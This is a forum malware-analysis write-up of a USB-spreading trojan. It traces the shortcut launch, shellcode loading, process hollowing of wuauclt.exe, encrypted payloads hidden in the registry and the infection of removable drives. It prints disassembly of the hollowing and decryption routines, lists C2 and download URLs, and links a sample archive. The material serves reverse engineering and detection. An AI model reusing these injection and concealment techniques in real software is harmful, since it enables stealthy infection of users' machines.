吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13053|回复: 21
收起左侧

[PC样本分析] 一个感染型U盘木马分析

[复制链接]
安静的小酒吧 发表于 2015-12-5 12:55
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 安静的小酒吧 于 2015-12-7 00:26 编辑

一个感染型U盘木马分析
安静的小酒吧
我在吾爱的第3个样本分析
基本信息
  
名称
  
未知
类型
感染型木马
来源
吾爱破解-病毒样本区
运行环境
XP
开发语言
VC6/汇编
分析环境
XP
分析时间
2015-12-1
文件信息
文件名
文件大小
MD5
BEINI  (8GB).lnk
2Kb
ED2BB7CE9F13A9550D4F401B6FD56129
_WGN.nil
(名称中间部分随机)
6kb
2A937B12BA42F896E815FD4AC96CBC37
Desktop.ini
4kb
272CD74C46CF0EBAC596CF27D1818D01
Thumbs.db
185kb
3DEB0BBD9BC926AFE52E88486EDBED6F
简介         
    样本来自论坛的病毒样本区(http://www.52pojie.cn/thread-434393-1-1.html),已经有论坛好友进行初步分析(http://www.52pojie.cn/thread-441079-1-1.html)(分析到下载文件,由于链接失效,就停止了),但我发现该样本还有很多地方值得挖掘,就进行了进一步分析,最后发现该样本确实有很多值得研究的地方。
     样本总体来说技术手法不错,有很多值得学习的地方,尤其启动和隐藏部分设计精巧。由于启动部分执行漫长,所以下面的分析简要概括为主,并对关键技术及调试方法进行说明。技术手法相当不做,很佩服该样本的开发人员的能力。
感染症状      
   样本的感染症状为,U盘里的文件莫名其妙全部消失(如果开启了显示隐藏的系统文件的话可以看到一个名称奇怪的目录,全部在那个里面),但是看到几个奇怪的文件,一个快捷方式(样本从这里开始启动,不要随便双击),_WXX.nil,(XX表示随机,也可能是XXX),desktop.ini, Thumbs.db。
技术特征
  1. 快捷方式启动rundll32,运行一个dll,然后是一系列的加载。
  2.样本中多次出现shellcode式写法的汇编代码。
  3.出现两次自我创建、一次进程替换,这种方法对于动态分析和检测有很好的规避效果。
  4.样本把敏感的数据部分保存到了注册表中,可以很好的规避静态查杀。
样本框架
绘图1.png

执行流程
  主程序模块:
    1.通过快捷方式运行“%homedrive%\WINDOWS\System32\rundll32.exe _WGN.nil,rundll32”,即使用系统的rundll32.exe运行_WGN.nil,并且调用_WGN.nil的rundll32这个导出函数。
    2.读入并解密当前目录下的desktop.ini,解密后是一段shellcode写法的指令,运行这段指令。
    3.尝试打开互斥体“CCC”,判断主机是否已经被感染。
    4.尝试从http://m.deltaheavy.ru/m下载文件Thumbs.db,该链接已经失效,但是得到样本时一起附加了这个文件。(分析到最后可以发现,下载文件应该是用于样本更新的,感染移动磁盘时会写入这样一个文件)。
    5.解密Thumbs.db文件,将其写入“C:\MSI\TrustedInstaller.exe”,并运行,然后循环尝试删除usb3.exe这个文件。

  TrustedInstaller.exe模块:
    1.PE文件带upx壳,脱壳
    2.自我创建(《逆向工程核心原理》里面这样命名的,创建一个挂起的子进程,将部署的内存信息卸载,然后再WriteProcessMemory,最后再将该进程唤醒),将要新写入PE文件从内存中抠出来单独调试,命名为temp0.exe。

  temp0.exe模块:
    1.判断是否有鼠标移动(一般是用来检测动态分析或者虚拟机检测之类的)。
    2.尝试打开互斥体“CCC”。
    3.解密并释放一个PE文件:msiexec.exe。
    4.在注册表中存放一个zip压缩文件。
    5.将自身加密后保存到注册表中(注册表是一个比较好的藏东西的地方,一般不会有人去注意这个地方)。
    6.运行释放的PE文件msiexec.exe。

  msiexec.exe模块:
    1.PE文件带upx壳,脱壳。
    2.再次使用TrustedInstaller.exe模块中的第二步,使用同样的处理手法,从内存中dump出来一个PE文件,命名为temp1.exe。

  temp1.exe模块:
    1.代码自解密。
    2.进程替换(《恶意代码分析实战》将这种手法称为进程替换),创建挂起的wuauclt.exe,然后将其挂起,然后写入自己的代码并执行(处理方法看下面的关键技术部分)。
    3.进入被替换的wuauclt.exe。
    4.写注册表自启动项。
    5.创建互斥体,互斥名:2029224350。
    6.随机生成一个文件名,将自身复制到temp目录下(C:\DOCUME~1\ALLUSE~1\LOCALS~1\Temp\cciiuk.exe)。
    7.创建多个线程:
        线程一:
        (1)读取temp0.exe模块第四步在注册标准存放的zip压缩包并解密。
        (2) 创建互斥体”CCC“。
        (3)下载文件保存到temp目录(下载链接已经失效),下载地址:
                       http://a.deltaheavy.ru/a?=sbsskksbsskkksbbbkkbbkkk
                       http://b.deltaheavy.ru/b?=ddllldddddddduududuuuuuu
                       http://c.deltaheavy.ru/c?=qbsmxqbjmxyisbeypjismxqj
      (4)遍历磁盘驱动,查找可移动磁盘。
      (5)检测移动磁盘是否已经被感染。
      (6)创建一个隐藏的目录,将现有的文件全部移动到该目录下。
      (7)感染移动磁盘,释放一个_WXUV.nil(前半部分随机生成),desktop.ini,Thmus.db,制作一个u盘的快捷方式,用来启动主程序模块的第一个步骤。
      (8)实时监控设备插入消息,出现移动设备插入时再次感染。
       线程二:
         枚举注册表项(LOCAL_MACHINE\software\Microsoft),查找特定项。
       线程三:
       (1)该线程主要用来进行网络连接。                                                                           
       (2) 尝试连接这个地址http://morphed.ru/static.php 并发送如下字符串:
                “upqchSk8slbBFeZmnIKGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NhEPKgsg9mY3qw=="。
关键技术
  1. TrustedInstaller.exe模块中的自我创建(关键技术可以参阅《逆向工程核心原理》第55章):
    创建一个挂起的子进程:并卸载越有的内存,然后部署新的内存块:
[Asm] 纯文本查看 复制代码
00401CB4    68 08AC4000     push TrustedI.0040AC08
00401CB9    68 60AF4000     push TrustedI.0040AF60                ; UNICODE "D"
00401CBE    6A 00           push 0x0
00401CC0    6A 00           push 0x0
00401CC2    6A 04           push 0x4
00401CC4    6A 00           push 0x0
00401CC6    6A 00           push 0x0
00401CC8    6A 00           push 0x0
00401CCA    6A 00           push 0x0
00401CCC    68 D4AF4000     push TrustedI.0040AFD4                ; UNICODE "C:\Documents and Settings\Administrator\桌面\Trusted"
00401CD1    FF15 C4AF4000   call dword ptr ds:[0x40AFC4]          ; kernel32.CreateProcessW
00401CD7    C745 FC 5400000>mov dword ptr ss:[ebp-0x4],0x54
00401CDE    8B45 FC         mov eax,dword ptr ss:[ebp-0x4]
00401CE1    50              push eax
00401CE2    FF15 FCB14000   call dword ptr ds:[0x40B1FC]          ; kernel32.GlobalFree
00401CE8    8B0D 1CAC4000   mov ecx,dword ptr ds:[0x40AC1C]
00401CEE    8B51 34         mov edx,dword ptr ds:[ecx+0x34]
00401CF1    52              push edx
00401CF2    A1 08AC4000     mov eax,dword ptr ds:[0x40AC08]
00401CF7    50              push eax
00401CF8    FF15 18AF4000   call dword ptr ds:[0x40AF18]          ; ntdll.ZwUnmapViewOfSection
00401CFE    C745 F8 3A00000>mov dword ptr ss:[ebp-0x8],0x3A
00401D05    8B4D F8         mov ecx,dword ptr ss:[ebp-0x8]
00401D08    51              push ecx                              ; ntdll.7C92F641
00401D09    FF15 FCB14000   call dword ptr ds:[0x40B1FC]          ; kernel32.GlobalFree
00401D0F    6A 40           push 0x40
00401D11    68 00300000     push 0x3000
00401D16    8B15 1CAC4000   mov edx,dword ptr ds:[0x40AC1C]
00401D1C    8B42 50         mov eax,dword ptr ds:[edx+0x50]
00401D1F    50              push eax
00401D20    8B0D 1CAC4000   mov ecx,dword ptr ds:[0x40AC1C]
00401D26    8B51 34         mov edx,dword ptr ds:[ecx+0x34]
00401D29    52              push edx
00401D2A    A1 08AC4000     mov eax,dword ptr ds:[0x40AC08]
00401D2F    50              push eax
00401D30    FF15 28AC4000   call dword ptr ds:[0x40AC28]          ; kernel32.VirtualAllocEx
00401D36    6A 58           push 0x58
00401D38    6A 17           push 0x17
00401D3A    FF15 50AF4000   call dword ptr ds:[0x40AF50]          ; kernel32.CreateToolhelp32Snapshot
00401D40    6A 00           push 0x0
00401D42    8B0D 1CAC4000   mov ecx,dword ptr ds:[0x40AC1C]
00401D48    8B51 54         mov edx,dword ptr ds:[ecx+0x54]
00401D4B    52              push edx
00401D4C    8B45 08         mov eax,dword ptr ss:[ebp+0x8]
00401D4F    50              push eax
00401D50    8B0D 1CAC4000   mov ecx,dword ptr ds:[0x40AC1C]
00401D56    8B51 34         mov edx,dword ptr ds:[ecx+0x34]
00401D59    52              push edx
00401D5A    A1 08AC4000     mov eax,dword ptr ds:[0x40AC08]
00401D5F    50              push eax
00401D60    FF15 BCAF4000   call dword ptr ds:[0x40AFBC]          ; kernel32.WriteProcessMemory[/align][align=left]
  重新设置进程的上下文信息(主要是设置新进程的入口点),并唤醒新进程。
[Asm] 纯文本查看 复制代码
00401D8F    68 40AC4000     push TrustedI.0040AC40
00401D94    A1 0CAC4000     mov eax,dword ptr ds:[0x40AC0C]
00401D99    50              push eax
00401D9A    FF15 20AF4000   call dword ptr ds:[0x40AF20]          ; kernel32.GetThreadContext
00401DA0    6A 0E           push 0xE
00401DA2    6A 47           push 0x47
00401DA4    FF15 D0AF4000   call dword ptr ds:[0x40AFD0]          ; kernel32.GlobalAlloc
00401DAA    8B0D 1CAC4000   mov ecx,dword ptr ds:[0x40AC1C]
00401DB0    8B51 34         mov edx,dword ptr ds:[ecx+0x34]
00401DB3    A1 1CAC4000     mov eax,dword ptr ds:[0x40AC1C]
00401DB8    0350 28         add edx,dword ptr ds:[eax+0x28]
00401DBB    8915 F0AC4000   mov dword ptr ds:[0x40ACF0],edx
00401DC1    6A 62           push 0x62
00401DC3    6A 44           push 0x44
00401DC5    6A 00           push 0x0
00401DC7    FF15 2CAC4000   call dword ptr ds:[0x40AC2C]          ; kernel32.FindResourceA
00401DCD    68 40AC4000     push TrustedI.0040AC40
00401DD2    8B0D 0CAC4000   mov ecx,dword ptr ds:[0x40AC0C]
00401DD8    51              push ecx
00401DD9    FF15 A4AF4000   call dword ptr ds:[0x40AFA4]          ; kernel32.SetThreadContext
00401DDF    6A 43           push 0x43
00401DE1    6A 56           push 0x56
00401DE3    FF15 D0AF4000   call dword ptr ds:[0x40AFD0]          ; kernel32.GlobalAlloc
00401DE9    8B15 0CAC4000   mov edx,dword ptr ds:[0x40AC0C]
00401DEF    52              push edx
00401DF0    FF15 58AF4000   call dword ptr ds:[0x40AF58]          ; kernel32.ResumeThread
  根据WriteProcessMemory的参数buf的地址从内存中可以dump出来一个PE文件,对可以对PE文件进行单独调试。
1.png
内存中的PE文件

  2. 进程替换。进程替换的方法大致和自我创建相同,只是一般替换成一个系统的可执行文件,然后在系统可执行文件的入口处修改成跳到自身的一个跳转即可。
2.png
创建的进程
  修改入口指令
[Asm] 纯文本查看 复制代码
001E033B    8B7D CC         mov edi,dword ptr ss:[ebp-0x34]
001E033E    037D DC         add edi,dword ptr ss:[ebp-0x24]
001E0341    B0 68           mov al,0x68
001E0343    AA              stos byte ptr es:[edi]
001E0344    8B45 08         mov eax,dword ptr ss:[ebp+0x8]                     ; temp2.00407992
001E0347    2B45 F8         sub eax,dword ptr ss:[ebp-0x8]                     ; temp2.00400000
001E034A    0345 D4         add eax,dword ptr ss:[ebp-0x2C]
001E034D    AB              stos dword ptr es:[edi]
001E034E    B0 C3           mov al,0xC3
001E0350    AA              stos byte ptr es:[edi]

3.png
修改前
4.png
修改后
    这种方式的替换调试比较麻烦,我采用的是将入口写入的跳转指令写改为一个死循环,然后让其运行起来,在使用OD附加对应进程(一般还会存在一个系统同名的进程,注意PID)。这样断下来的结果就在你写入的死循环的位置,这样把原先的指令回复后就可以进行调试了。
5.png

我修改的循环指令

  3.样本另一个技术特点就是在注册标准存储关键信息例如压缩文件、加密后的PE文件,这样的方法容易规避静态查杀。
[Asm] 纯文本查看 复制代码
0040138C  |.  56                       push esi                                          ; /hTemplateFile = 00000044 (window)
0040138D  |.  56                       push esi                                          ; |Attributes = SYSTEM|40
0040138E  |.  6A 03                    push 0x3                                          ; |Mode = OPEN_EXISTING
00401390  |.  56                       push esi                                          ; |pSecurity = 00000044
00401391  |.  56                       push esi                                          ; |ShareMode = 44
00401392  |.  68 00000080              push 0x80000000                                   ; |Access = GENERIC_READ
00401397  |.  8D4424 30                lea eax,dword ptr ss:[esp+0x30]                   ; |
0040139B  |.  50                       push eax                                          ; |FileName = 00000001 ???
0040139C  |.  FF15 50804000            call dword ptr ds:[<&KERNEL32.CreateFileW>]       ; \CreateFileW
004013A2  |.  894424 10                mov dword ptr ss:[esp+0x10],eax
004013A6  |.  83F8 FF                  cmp eax,-0x1
004013A9  |.  0F84 A0000000            je temp.0040144F
004013AF  |.  56                       push esi                                          ; /pFileSizeHigh = 00000044
004013B0  |.  50                       push eax                                          ; |hFile = 00000001
004013B1  |.  FF15 4C804000            call dword ptr ds:[<&KERNEL32.GetFileSize>]       ; \GetFileSize
004013B7  |.  6A 04                    push 0x4                                          ; /Protect = PAGE_READWRITE
004013B9  |.  68 00100000              push 0x1000                                       ; |AllocationType = MEM_COMMIT
004013BE  |.  8BD8                     mov ebx,eax                                       ; |
004013C0  |.  53                       push ebx                                          ; |Size = 18991 (100753.)
004013C1  |.  56                       push esi                                          ; |Address = 00000044
004013C2  |.  FF15 64804000            call dword ptr ds:[<&KERNEL32.VirtualAlloc>]      ; \VirtualAlloc
004013C8  |.  56                       push esi                                          ; /pOverlapped = 00000044
004013C9  |.  8BF8                     mov edi,eax                                       ; |
004013CB  |.  8D4424 18                lea eax,dword ptr ss:[esp+0x18]                   ; |
004013CF  |.  50                       push eax                                          ; |pBytesRead = 00000001
004013D0  |.  53                       push ebx                                          ; |BytesToRead = 18991 (100753.)
004013D1  |.  57                       push edi                                          ; |Buffer = NULL
004013D2  |.  FF7424 20                push dword ptr ss:[esp+0x20]                      ; |hFile = NULL
004013D6  |.  FF15 40804000            call dword ptr ds:[<&KERNEL32.ReadFile>]          ; \ReadFile
004013DC  |.  E8 860B0000              call temp.00401F67
004013E1  |.  99                       cdq
004013E2  |.  B9 FF000000              mov ecx,0xFF
004013E7  |.  F7F9                     idiv ecx
004013E9  |.  897424 0C                mov dword ptr ss:[esp+0xC],esi
004013ED  |.  42                       inc edx                                           ;  ntdll.KiFastSystemCallRet
004013EE  |.  3BDE                     cmp ebx,esi
004013F0  |.  76 19                    jbe short temp.0040140B
004013F2  |>  8B4424 0C                /mov eax,dword ptr ss:[esp+0xC]
004013F6  |.  8A0C38                   |mov cl,byte ptr ds:[eax+edi]
004013F9  |.  80E9 42                  |sub cl,0x42
004013FC  |.  32CA                     |xor cl,dl
004013FE  |.  FF4424 0C                |inc dword ptr ss:[esp+0xC]
00401402  |.  880C38                   |mov byte ptr ds:[eax+edi],cl
00401405  |.  395C24 0C                |cmp dword ptr ss:[esp+0xC],ebx
00401409  |.^ 72 E7                    \jb short temp.004013F2
0040140B  |>  53                       push ebx                                          ; /BufSize = 18991 (100753.)
0040140C  |.  57                       push edi                                          ; |Buffer = NULL
0040140D  |.  6A 03                    push 0x3                                          ; |ValueType = REG_BINARY
0040140F  |.  56                       push esi                                          ; |Reserved = 0x44
00401410  |.  68 F0A04000              push temp.0040A0F0                                ; |ValueName = "ImageBase"
00401415  |.  FF35 442D4200            push dword ptr ds:[0x422D44]                      ; |hKey = 0x44
0040141B  |.  FF15 28804000            call dword ptr ds:[<&ADVAPI32.RegSetValueExW>]    ; \RegSetValueExW
00401421  |.  68 00800000              push 0x8000                                       ; /FreeType = MEM_RELEASE
00401426  |.  56                       push esi                                          ; |Size = 44 (68.)
00401427  |.  57                       push edi                                          ; |Address = NULL
00401428  |.  FF15 30804000            call dword ptr ds:[<&KERNEL32.VirtualFree>]       ; \VirtualFree
0040142E  |.  FF7424 10                push dword ptr ss:[esp+0x10]                      ; /hObject = 0000003C (window)
00401432  |.  FF15 34804000            call dword ptr ds:[<&KERNEL32.CloseHandle>]       ; \CloseHandle
00401438  |.  FF35 442D4200            push dword ptr ds:[0x422D44]                      ; /hKey = 00000044 (window)
0040143E  |.  FF15 00804000            call dword ptr ds:[<&ADVAPI32.RegCloseKey>]       ; \RegCloseKey

6.png
加密的PE文件
7.png
压缩文件

  4.网络连接,该样本的网络连接是采用HTTP协议的,多次尝试连接一个域名,但是由于链接已经失效,所以后期没法分析。
8.png

抓包获取到的数据

小结        
    该样本过程比较复杂,分析起来难度略大,但还是跟踪下来的,尤其是自我创建和进程替换部分的调试比较困难,第一次使用死循环这种方式,发现这种方法特别有效,对于其他形式的进程注入,该方法同样有效。
    最后不得不佩服样本开发者如此牛逼的框架设计和编码实现能力,尤其需要对汇编语言和windows编程相当熟悉的(其中使用了很多微软未公开的ntdll.dll里面的函数)。

附件:
U盘病毒(密码:52pojie).zip (174.07 KB, 下载次数: 110)




免费评分

参与人数 4热心值 +4 收起 理由
lzting1021 + 1 我很赞同!
foolish + 1 我很赞同!
Mr.Mlwareson_V + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.
292219828 + 1 很厉害的样子!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

z1757608322 发表于 2015-12-5 13:02
膜拜大神。。。
z254665257 发表于 2015-12-5 13:36
seazer 发表于 2015-12-5 13:46
威廉 发表于 2015-12-5 13:47
支持楼主~
292219828 发表于 2015-12-5 13:50
虽然看不懂,但是好厉害的样子
52pjtest 发表于 2015-12-5 22:57
不知哪位朋友知道未公开函数、指令如何获得,反汇编吗?!
定个一份爱 发表于 2015-12-5 23:02
看着头晕 不适合我这小白
宁雨择 发表于 2015-12-11 22:51 来自手机
仔细看了,确实有技术含量
8362455 发表于 2015-12-13 03:15 来自手机
突然发现这论坛真心强大
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 05:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表